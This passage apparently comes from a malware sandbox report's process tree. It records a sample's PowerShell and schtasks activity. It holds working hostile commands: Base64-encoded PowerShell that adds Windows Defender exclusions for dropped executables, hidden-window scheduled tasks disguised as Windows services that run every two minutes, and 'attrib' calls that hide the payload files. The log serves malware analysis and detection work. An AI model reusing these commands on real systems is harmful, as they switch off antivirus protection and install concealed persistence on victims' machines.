  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAE8ATQBcAFwAUwB1AHIAcgBvAGcAYQB0AGUAXABcAEMATwBNAFMAdQByAHIAbwBnAGEAdABlADMAMgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMATwBNAFMAdQByAHIAbwBnAGEAdABlADMAMgAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgentSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6216
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgentSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1128
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgentSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgentSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7120
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgentSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6160
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdateAgentSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry" 2>nul'"
  2⤵
  PID:5880
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7112
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry
      4⤵
      Views/modifies file attributes
      PID:3452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe" 2>nul'"
  2⤵
  PID:4252
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2528
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe
      4⤵
      Views/modifies file attributes
      PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlAFwAXABUAGUAbABlAG0AZQB0AHIAeQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABFAGQAZwBlAFUAcABkAGEAdABlAFwAXABUAGUAbABlAG0AZQB0AHIAeQBcAFwAUwBlAGEAcgBjAGgAUAByAG8AdABvAGMAbwBsAEgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAFAAcgBvAHQAbwBjAG8AbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:5260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:700
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:888
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:5028
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SearchProtocolHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service" 2>nul'"
  2⤵
  PID:4872
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2880
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service
      4⤵
      Views/modifies file attributes
      PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe" 2>nul'"
  2⤵
  PID:6992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1236
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe
      4⤵
      Views/modifies file attributes
      PID:5832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABJAE4AZQB0AEMAYQBjAGgAZQBcAFwAUwBlAHIAdgBpAGMAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABJAE4AZQB0AEMAYQBjAGgAZQBcAFwAUwBlAHIAdgBpAGMAZQBcAFwAZABsAGwAaABvAHMAdAAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:7004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAGQAbABsAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "dllhostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn dllhostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:3796
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn dllhostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "dllhostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1332
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn dllhostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4016
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn dllhostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp" 2>nul'"
  2⤵
  PID:5956
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1056
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp
      4⤵
      Views/modifies file attributes
      PID:4660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe" 2>nul'"
  2⤵
  PID:3632
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7068
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe
      4⤵
      Views/modifies file attributes
      PID:6416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAEUAUgBcAFwAVABlAG0AcAAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAEUAUgBcAFwAVABlAG0AcABcAFwAcwBpAGgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAHMAaQBoAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "sihostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4764
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn sihostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2244
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn sihostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "sihostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4192
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn sihostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:2276
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn sihostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache" 2>nul'"
  2⤵
  PID:944
